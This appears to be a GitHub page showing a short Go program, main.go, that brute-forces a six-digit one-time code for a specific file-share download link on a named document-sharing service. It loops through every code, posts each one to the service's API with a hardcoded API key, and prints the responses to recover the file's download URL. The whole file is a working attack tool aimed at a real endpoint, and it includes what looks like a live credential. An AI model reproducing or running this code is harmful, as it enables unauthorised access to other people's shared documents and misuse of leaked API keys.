-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
54 lines (46 loc) · 1.24 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package main
import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
)
func main() {
apiUrl := "https://api.secure.docusafe.app/shares/45788085-851c-48fd-949e-80574515627d/download/"
fmt.Println("Brute force for URL :", apiUrl)
client := &http.Client{}
for i := 0; i < 999999; i++ {
otpIndex := padNumberWithZero(i)
postBody, _ := json.Marshal(map[string]string{
"userSecret": otpIndex,
})
fmt.Print("call api for otp=", otpIndex)
responseBody := bytes.NewBuffer(postBody)
req, err := http.NewRequest("POST", apiUrl, responseBody)
if err != nil {
fmt.Print(err.Error())
}
req.Header.Add("Accept", "application/json")
req.Header.Add("Content-Type", "application/json")
req.Header.Add("x-api-key", "WnmmVqKgtuBfcxFluolne4GLB4dfMh7MRnlswNAyRrjriCcZwcbvDZoTya5gjIph")
resp, err := client.Do(req)
if err != nil {
fmt.Println(err.Error())
}
defer resp.Body.Close()
bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err.Error())
}
var responseObject Response
json.Unmarshal(bodyBytes, &responseObject)
fmt.Println(string(bodyBytes))
}
}
type Response struct {
ID string `json:"s3GetObjectUrl"`
}
func padNumberWithZero(value int) string {
return fmt.Sprintf("%06d", value)
}